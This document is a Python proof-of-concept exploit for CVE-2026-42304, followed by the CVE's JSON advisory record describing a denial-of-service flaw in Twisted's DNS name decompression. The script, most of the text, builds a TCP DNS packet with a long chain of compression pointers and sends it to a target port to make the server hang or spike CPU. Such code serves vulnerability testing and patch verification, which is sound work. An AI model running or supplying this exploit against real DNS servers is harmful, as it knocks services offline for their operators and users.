CVE-2026-42304

import socket import struct # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 53 def create_malicious_dns_packet(): # DNS Header: Transaction ID 0x1234, Flags 0x0100 (Standard query), QDCOUNT 1 header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0) # Construct a name with a compression pointer chain. # A compression pointer is 0b11XXXXXX (0xC0) followed by the offset. # We create a chain of pointers to simulate deep recursion. # Starts at offset 12 (right after header). # Pointer at 12 points to 13, pointer at 13 points to 14, etc. chain_length = 100 # Number of pointers in the chain malicious_name = b'' for i in range(chain_length): # Pointer points to the next byte offset = 12 + i + 1 # Ensure offset fits in 14 bits (standard DNS pointer limit) if offset > 0x3FFF: offset = 12 # Loop back if limit reached for simplicity pointer_byte = 0xC0 | (offset >> 8) malicious_name += struct.pack("!BB", pointer_byte, offset & 0xFF) # Terminate the name with a null byte (0x00) if needed, # though the chain itself might be parsed infinitely or deeply. malicious_name += b'\x00' # Question Type (A=1) and Class (IN=1) q_tail = struct.pack("!HH", 1, 1) return header + malicious_name + q_tail def send_exploit(): try: packet = create_malicious_dns_packet() # TCP DNS requires a 2-byte length prefix length_prefix = struct.pack("!H", len(packet)) full_packet = length_prefix + packet print(f"Sending malicious packet to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(full_packet) s.close() print("Packet sent. Check if the server hangs or CPU spikes.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-42304", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:46.933", "lastModified": "2026-05-14T18:12:13.527", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-407"}]}], "references": [{"url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4", "source": "[email protected]"}, {"url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}